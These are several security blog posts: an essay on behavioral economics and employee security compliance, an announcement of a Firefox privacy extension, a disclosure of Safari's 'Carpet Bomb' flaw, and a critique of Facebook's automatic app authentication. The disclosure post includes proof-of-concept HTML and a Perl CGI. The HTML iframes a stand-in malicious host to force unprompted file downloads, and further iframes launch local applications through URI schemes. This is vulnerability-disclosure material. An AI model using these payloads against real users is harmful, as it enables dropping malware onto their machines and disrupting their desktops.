[Note: I was interviewed by Kelly Jackson Higgins (DarkReading) on this topic, you can read some of my additional comments here: Social Networks For Patients Stir Privacy, Security Worries]

 

Behavioral Economics in Information Security

Given the continuous and exponential rise in complexity in the field of information security, most often, it is the actual employee that is observed to be the weakest link. End users are repeatedly found to make poor security decisions that appear to be irrational and careless, thus placing their employer at significant business risk. 

One emerging school of thought to combat the seemingly nonchalant user attitude against information security is to enforce a consequence-driven work culture that aims to promote positive cultural change by maximizing accountability (e.g., employees that are caught placing confidential data on unencrypted stores or those who bring in personal wireless access points to work are terminated per formal policy).

This discussion brings together insights from the field of behavioral economics and recent research literature to demonstrate why 1) a pure consequence driven approach that solely relies on accountability does not promote risk reduction to the enterprise, and 2) why employees are rational in rejecting information security rules even when clear consequences are published and enforced.

1.  Introduction

When it comes to following basic information security best practices, many employees appear to be irrational despite well advertised consequences: they go trigger-happy while browsing the web and download malware to their corporate laptops, they get around password complexity policies to choose the weakest passwords they can get away with [1][2], they ignore certificate errors and accept security warnings without reading them [3] and they inadvertently expose confidential data on social media sites [4].

Clearly, there are specific cases of malicious intent on the part of unethical employees who are aware of their actions. However, the scope of this discussion is limited to employees who do not have malicious intent, yet place the enterprise at risk by rejecting repeated security advice.

In this discussion, I argue that a purely consequence and accountability driven approach to influencing user behavior is a myopic strategy that is not likely to succeed in promoting significant risk reduction to the enterprise. I argue that in order to influence users to promote positive cultural change in security related behavior, the enforcers must comprehend additional variables such as the difference in the perspective of risk to the individual, psychological biases and simple behavioral economics.

2.  The Perspective of the End User

Using basic risk assessment principles, it is possible to estimate the risk to a business should certain events occur. While these events may pose a significant risk to the enterprise as a collective, the probability and cost to the individual employee can differ. The realization of this variance in perspective between the individual and the collective sets the stage for further discussion on psychology and economics covered in the following sections.

2.1  Collective Risk to the E

nterprise Versus the Individual

Consider the perspective of an enterprise when a number of employees do not follow best practice security advice, such as securing their laptops at their work place. This behavior can contribute to a high probability of adverse consequences to the business. However the same amount of risk is not borne by the individual employee. 

As an illustration, consider the case of laptop theft. Let us assume a situation where an employer repeatedly warns employees to secure laptops using cables provided. In a mid-sized company of 5,000 employees, even if 90% of the employees were to follow instructions, the remaining 500 employees who reject the advice pose a significant risk to the business since the probability of at least 1 out of 500 unsecured laptops being stolen on an annual basis is a realistic (and conservative) estimation.

The cost to the enterprise per stolen laptop (unencrypted) is estimated to be around $49,246 [5]. More importantly, the value of this cost is based on the following components: replacement cost, detection, forensics, data breach implications, lost intellectual property, lost productivity and legal, consulting and regulatory expenses. In addition to the measurable cost to the business, the loss due to brand damage can be and often is significant

Given our conservative guess of 1 laptop stolen annually for every 500 employees that do not bother to secure their laptops, the risk to the enterprise is a sure thing. But what about the individual employee? The employee risks termination, yet the probability of the individual having her laptop stolen from the pool of other 499 employees who do not follow security mandates, is low.

This purpose of this hypothetical discussion is to purely point out the variance of risk from the perspective of the enterprise as a collective versus the individual employee. In the majority of situations, the risk borne by the business as a whole is easily comprehended by those who comprehend enterprise risk, yet the individual worker may not share similar perspective of risk.

2.2  Game Theory

In the previously discussed scenario, the calculations demonstrate variance of cost to the individual versus cost to the collective enterprise. However, it can be argued that the employee’s job security relies upon the overall well-being of the enterprise. This sentiment promotes the notion that employees can be expected to collectively cooperate and follow security mandates. In this sense, the context of the operative word “cooperate” should test to see if employee’s actions in following policies for the overall good of the enterprise are influenced by what they notice their peers doing.

The “Prisoner’s Dilemma” [6] is a popular game theory [7] problem that has been used to show why two people may not cooperate even if it in both their interests to do so. This problem has been extended to study the cooperation, or lack thereof, of individual entities to promote a common interest. For example, environmental studies have clearly provided evidence of the upcoming perils mankind is doomed to face given the climate change crisis. Given this situation, individual countries know they will ultimately benefit from everyone doing their part to promote a stable climate in the future. However, with game theory related experiments deriving from the “Prisoner’s Dilemma” approach, results repeatedly demonstrate that while individual countries agree with the rationale that everyone must contribute for the greater good of all, they are unable to rationalize on an individual level to do their part in the equation [8].

Extending the general findings from “Prisoner’s Dilemma” experiments to the hypothetical scenario presented in the earlier section, it is possible to see why individuals who are consciously aware of the need to cooperate in following security mandates may fail to do so. This situation lends to the phenomenon where users who do not follow security 

requirements appear to “free-ride” on the notion that the remaining majority of the users are following the security advice thereby lowering the probability of harm to the well-being of the collective [9].

Our acknowledgement of differences in perspectives of risk and our comprehension of cognitive decision making processes will assist us in enforcing security mechanisms that are well designed to engage active participant from the end users. In the next section, we will build on our discussion to include examples of psychological and economical underpinnings at work that can help facilitate further improvement in our understanding.

3.  Psychology and Economics at Play

Given that the scope of this discussion is to hypothesize why individuals do not follow mandates even when consequences are clearly advertised, let us first take a look at examples of how psychological biases are often active in this regard. Furthermore, let us briefly discuss the cost:benefit calculation individuals are likely to make prior to deciding whether to invest effort into performing requested tasks. 

Once we go through examples of how psychology and economics are used make decisions, we will be in a better position to discuss recommendations on how to leverage research within these fields to drive better adoption of information security mandates. 

3.1  Psychological Biases

Security controls are often designed with the misguided assumption that human rationality is void of biases. On the contrary, human decision consistently contain psychological biases that are  predictable and measurable. As such, let us discuss two examples of biases that are often activated when individuals seek to comprehend and act upon information security events.

Valence Effect: The Valence Effect is the tendency of individuals to overestimate the probability of positive outcomes. For example, in one experiment, all things being equal, participants assigned a higher probability to picking a card that had a smiling face on its reverse side than which had a frowning face [10].

Extending the knowledge of results from repeated experiments performed to demonstrate the valence effect, it is easy to see how this bias influences employee behavior: individuals who do not follow security mandates have a psychological bias promoting the idea that other individuals are more likely to cause adverse incidents. In a similar vein, studies have shown that online social media users believe that providing personal information publicly could cause privacy problems to other users (the same users don’t seem concerned about the probability of privacy issues they could face for sharing similar information) [11].

Anchoring: Anchoring is a cognitive bias that describes the common human tendency to rely too heavily (“anchor”) on one trait or piece of information when making decisions.

Research has shown that individuals often believe “neat looking” websites are more trustworthy from a privacy and security standpoint [12] by anchoring their bias using their visual experiences to correlate website design with previously successful transactions. It is easy to understand how this bias can cause individuals to bypass advice from security awareness programs on how to identify and steer clear of risky situations.

Research in psychology has uncovered empirical evidence to support various categories of biases. As described in the examples, such biases can be clearly correlated to understand why many individuals fail to execute security requirements.

3.2  Rational Rejection of Security Mandates

Individuals implicitly perform a cost:benefit calculation when deciding whether to execute a previously taught security mandate or not. This hypothesis derives from work in the field of behavioral economics as well as information security research experiments performed recently. Coupled with the comprehension of individual perspectives and psychology, the understanding of how individuals perform implicit cost:benefit decisions will ultimately help organizations create security requirements that are designed to appeal to the human psyche, thus driving increased adoption.

When people make decisions to perform a given task, they quickly perform a calculation to ascertain if the cost of performing it is worth the return. The cost to the individual can be bounded in terms of financial harm, time taken and effort required. In addition to biases discussed in previously, users quickly decide if the total gain from following security advice is worth the effort. In many security research experiments, the data shows that users reject security advice because the cost to complete the security requirements is too high.

Consider the case of phishing websites that have the potential of stealing corporate and user data by posing as legitimate sites. Employees are repeatedly taught to investigate their web browser’s address bar to make sure they are browsing legitimate websites. However, even the most well-known domain names for well respected institutions repeatedly redirect the user to multiple locations. In this situation, the user must have the technical ability to dissect and parse the browser address bar and distinguish the host name, the domain name, followed by the path to the website resources, and any applicable parameters. To the average non-technical individual, the burden is too high [3]. Should the individual expose corporate data to a malicious website, the cost of this data breach is borne by the corporation.

Also consider the cases of SSL certificate warnings displayed by web-browsers. Users are instructed to be cognizant of such warnings because they may be the indicator of an ongoing Man-in-the-Middle attack that can jeopardize corporate information. However, research has shown, that from the end user’s perspective, close to 100% of such warnings are false positives [3]. It is easy to see how the high probability of a false positive warning with minimum or close to zero return and effort costs makes it rational for users to anchor against following security advice.

Having discussed examples of how psychology and decision economics influence decisions, it is easy to see why it is vital that these variables are accounted when developing security requirements. If we want users to actually adopt and execute on security mandates, we need to make sure the requirements are designed to appeal to the human cognition.

4. Recommendations

Based on the investigation of psychological perspectives and cost:benefit analysis using behavioral economic principles, the research community has gained further insight into why individuals often reject following security mandates. In these situations, with all other variables being equal, accelerating accountability by enforcing stricter consequences is not likely to positively influence user behavior. 

Businesses that seek to positively influence their risk posture by influencing users and promoting positive culture change in information security should consider the following recommendations:

• Identify and automate security responses that can be machine parsed and computed instead of relying on human decisions.

• Re-evaluate business risk assessment methodologies to account for differences in collective and individual perspective based on risk, cost, and probability.

• Discover and calculate the influence of popular psychological biases to ascertain why employees may have the tendency to bypass advertised security requirements.

• Detect cases where security requirements may have a high cost rate for the individual. In such cases, evaluate whether the issue is promoting risk to the enterprise, and if so, consider redesigning the usability or altering the control such that the user is psychologically influenced to engage.

• Leverage well known psychological biases for the benefit of information security related communications.

Security mandates are important and it is only fair that employees who do not follow instructions that put the enterprise at risk should face clear consequences. However, the risk of solely depending on this approach ignores vital variables such as individual perspectives, psychology and simple behavioral economics. Information security personnel should be monitored to make sure they are not solely pushing for a consequence driven culture that makes their job easier by promoting irrational and high cost security requirements to the end users in the guise of accountability.

References

[1] Florencio, D., Herley, C. A Large-Scale Study of Web Password Habits. 2007.

[2] Morris, R., Thompson, K. Password Security: A Case History. Comm. ACM, 1979.

[3] Herley, C. So Long, and No Thanks for the Externalities. Microsoft Research, 2009.

[4] Statement by CEO of Tri-City Medical Center, 2010. Retrieved from http://www.tricitymed.org/news/2010/patient-privacy-and-social-media.aspx.

[5] Ponemon Institute. The Cost of a Lost Laptop, 2009.

[6] Flood, M., Dresher, M. Prisoner’s Dilemma, 1950.

[7] Neumann, J. Theory of Games and Economic Behavior, 1944.

[8] The Economist. Playing Games with the Planet, 2007.

[9] Baddeley, M. Security and Human Behaviour, Workshop on Security and Human Behaviour, 2010.

[10] Taylor, N. Making Actuaries Less Human: Lessons Learned from Behavioral Finance, 2000.

[11] Acquisti, A., Gross, R. Imagined Communities: Awareness, Information Sharing, and Privacy on the Facebook, Carnegie Mellon University 2006.

[12] Kahneman,D.,Tversky,A. On the Psychology of Prediction, Psychological Review, 1973.

Initiating the Privacy Arms Race Against Facebook: The AntiSocial Firefox Extension

It is my opinion that the popular expectation that Facebook will eventually take privacy seriously is unfounded. Facebook is a profitable entity and their business roadmap clearly illustrates that they feel they are at a stage where user privacy must be compromised for their business to grow.

In other words, it is the users who must battle with the decision to either stop using Facebook, or to accept to collaborate and communicate using a platform that mines their private information to compute business intelligence for eventual profit.

Perhaps this is a fair set of options, given that the concept of ‘social privacy’ is an oxymoron: if we want to be social and benefit from it, we must share information about ourselves. However, this sort of reasoning is not grounded in reality, for the same reason that disconnecting your computer from the Internet to gain the utmost level of security isn’t a reasonable option (for most people).

It is also my opinion, that the online social space has created a condition where the end users must ultimately collaborate to initiate an ongoing privacy arms race. To promote this sentiment, and to further the cause of research in this field, I’d like to announce the AntiSocial project.

The AntiSocial project is a subset of my research under the NeuroSploits umbrella (more on NeuroSploits later). I have developed a Firefox extension to promote this effort. If you are in a hurry, you can download it from https://addons.mozilla.org/en-US/firefox/addon/162098/ (beware that is is an initial release, but you are most welcome to try it out and provide feedback).

At the moment, the following is what AntiSocial aims to do and how it works.

A. Provide additional privacy controls and features to the user by:

- Preventing external sites from including Facebook content. This prevents Facebook from being able to track the user’s browsing habits external to Facebook (via the Referrer header).

Figure: Screenshot of CNN.COM being prevented from embedding Facebook content

Figure: Screenshot of Firefox Error Console displaying external sites blocked

- Preventing users from landing upon Facebook from external resources. This also prevents Facebook from being able to track the user’s browsing habits external to Facebook (via the Referrer header).

- Banning all access to 3rd party Facebook applications, including applications that choose to use Facebook’s Automatic Authentication in which users are not given the opportunity to authorize the execution of the 3rd party application. This will prevent arbitrary 3rd parties from being able to capture user data.

Figure: Screenshot of of AntiSocial in Firefox task bar

- Preventing external sites that are landed on from Facebook from capturing this fact (by modifying the Referrer header).

- [more to come]

B. Increase the noise to signal ratio of business intelligence collected by social media platforms (currently Facebook) by [research in progress]:

- Changing the Referrer header while the user browses the Facebook platform (this will not stop Facebook from collecting intelligence about the user's browsing habits within the platform, but it may make their data mining slightly more expensive).

- Changing the referrer information tracked within the Facebook cookie (this will not stop Facebook from collecting intelligence about the user's browsing habits within the platform, but it may make their data mining slightly more expensive).

- Initiating arbitrary requests to the Facebook platform to make it harder for Facebook and 3rd parties from computing business intelligence (work in progress) for given sets of computations that the user may not agree to.

- [more to come]

Please feel free to contact me with any bug reports, questions, or ideas.

[As a caveat, I’m a fan of the NoScript Firefox plugin and I do realize that some (if not all) of these feature sets can and may be incorporated by NoScript - however, the AntiSocial Firefox extension aims to target users that may not be technically savy enough to maneuver a tool such as NoScript, and also to further my own understanding and research of privacy issues in social platforms].

2 Years Later: Droppin’ Malware on Your OSX, Carpet Bomb Style (and Then Some!)

Two years ago, I reported the Safari Carpet Bomb vulnerability to Apple. Apple responded back to let me know that they did not consider the issue a security vulnerability and had no immediate plans of fixing it. After obtaining explicit permission from the Apple security team to discuss the issue publicly, I disclosed it on May 14, 2008. This attack vector was eventually voted #3 in the “Top 10 Web Hacking Techniques of 2008” by security professionals around the world.

The Carpet Bomb issue was fixed on Safari for Windows due to pressure from Microsoft, most likely a result of threats from other security professionals who quickly realized the impact of cross application issues that contributed to remote command execution possibility on Windows. This caused Microsoft to release an advisory against Safari and Apple to eventually fix the issue on Safari for Windows.

However, 2 years later from my original disclosure, the Carpet Bomb vulnerability on OSX remains un-patched.

This means that if you use the Safari browser on OSX, a malicious entity can drop any amount of binaries or data files into your ~/Downloads/ folder. This issue is caused because, while most sane web browsers warn the end user and ask for explicit permission before saving a file locally, Safari goes ahead and saves the file into the default download location without asking the user - even if hundreds of files are served up by the malicious website simultaneously.

The technical details of the issue are the same as I reported 2 years ago, as follows: assume that a malicious website serves the following HTML:

<HTML>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
...
...
...
...
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
</HTML>

Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:

#!/usr/bin/perl


print "Content-type: blah/blah\n\n"

Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served.

If you are using Safari for OSX, this is what your ~/Downloads/ folder can look like after a single visit to the malicious site:

The impact of this issue should be clear to anyone with a reasonable and sound mind.

In this day and age, Fortune corporations are currently being infiltrated by way of state sponsored attacks and corporate espionage where a common initial step taken by malicious actors is to drop malware on the desktops of the targeted organization’s users.

BONUS! Unlike (most) other browsers, Safari (on both Windows and OSX this time) doesn’t bother to ask for the user’s permission prior to launching arbitrary local applications that handle registered URIs.

Imagine a malicious website that served up the following HTML:

<HTML>
<iframe id="frame" src="dict://"></iframe>
<iframe id="frame" src="daap://"></iframe>
<iframe id="frame" src="vnc://"></iframe>
<iframe id="frame" src="x-mini-installer://"></iframe>
...
...
...
<iframe id="frame" src="macosxserverinvite://"></iframe>
<iframe id="frame" src="apconfig://"></iframe>

</HTML>

The following video capture demonstrates what would happen if you landed upon such a malicious site:

This may seem more of an annoyance at first glance, which in itself is an issue: denial of service towards the victim user’s desktop session. Furthermore, this behavior has the potential to be abused to exploit defects in how receiving applications accept the launch parameters and also to potentially feed local applications with malicious data that can in turn result in a compromise.

Given the continued rise in OSX’s market-share, and given the fact that Apple has decided to allow security issues like this remain un-patched, the Safari browser is increasingly likely to become the avenue of choice for the new generation of attackers.

Users and corporations beware.

Raising Consciousness: Facebook’s “Automatic Authorization”

Facebook users have been repeatedly warned and educated to comprehend the reality that 3rd party Facebook applications can consume their private information. As such, many users have begun to expect a fair warning (illustrated in the figure below) that includes an explicit authorization request from the Facebook platform,when a 3rd party Facebook application is accessed.

Image: Facebook platform requesting authorization from user prior to enabling 3rd party application

However, there is a way for 3rd party Facebook applications to bypass displaying the warning and the explicit authorization request, using “Automatic Authentication” which is further defined at http://wiki.developers.facebook.com/index.php/Automatic_Authentication:

“Automatic authentication means that if a user visits an application canvas page (whether it's an FBML- or iframe-based canvas page), Facebook will pass that visitor's user ID to the application, even if the user has not authorized the application. The UID also gets passed when a user interacts with another user's application tab.

With this ID, the application can access the following data for most users (except for users who have chosen to not display a public search listing):

• name
• friends
• Pages fanned
• profile picture
• gender
• current location
• networks (regional affiliations only)
• list of friends”

The ‘Automatic Authentication’ feature is not new - it has been in place since July 2008. The reason I’m bringing this into attention today is for the following reasons:

• Even the more privacy savy individuals are not aware of this ‘feature’. Individuals who  have made the effort to learn about Facebook’s privacy settings are unlikely to be aware of this capability. Many of these users are likely to go trigger-happy by clicking on URLs within Facebook because they rely on the Facebook platform to ask for explicit authorization upon clicking on a 3rd party application page.

• The implications of publicly available data and the potential ability of a rogue 3rd party to uncloak a specific user’s identity are mutually exclusive issues.

  In their explanation on the developer wiki, Facebook explicitly states that 3rd party applications that use this feature can only gather information about the given user that may be publicly search-able anyway.
  

  However, this assurance from Facebook is without merit because the implied reasoning is based upon flawed assumptions: the act of users choosing to make some of their information publicly search-able does not imply in any way that the users are granting the ability for rogue 3rd party applications to uncloak their identity (and data). Here is a simple example: my name is Nitesh Dhanjani and the information on my blog is public - however my web browser vendor cannot use this as a reasonable excuse to uncloak my identity to 3rd party web applications I visit.

• The widening delta between the granularity of controls provided by social media platforms and the controls demanded by privacy advocates may lead to the need for client-side controls.

  

  Image: The fb_fromhash parameter

  For example, users that land upon Facebook applications will notice a parameter called _fb_fromhash which is present regardless of what authorization mechanism the 3rd party Facebook application chooses to use. This can be potentially leveraged to create a browser side control (example: Firefox plug-in) to warn the user that he or she may be accessing a 3rd party application that has the ability to automatically capture his or her identity. In other words, I foresee the need for a client side model to bridge the gap between privacy controls provided by vendors of social platforms versus the needs of individual users. Social-privacy-client-IDS, if you want to call it that.

Indeed, there is the clear rule of thumb pertaining to the use of online social applications: don’t put anything online that you wouldn’t want to persist in the public domain. However, this does not mean that brands in the business of providing us social platforms can go scott free. I sincerely hope the data contained in this post has provided you some additional information on how ‘automatic authentication' works, including the implications of which, in case you were not aware of it prior.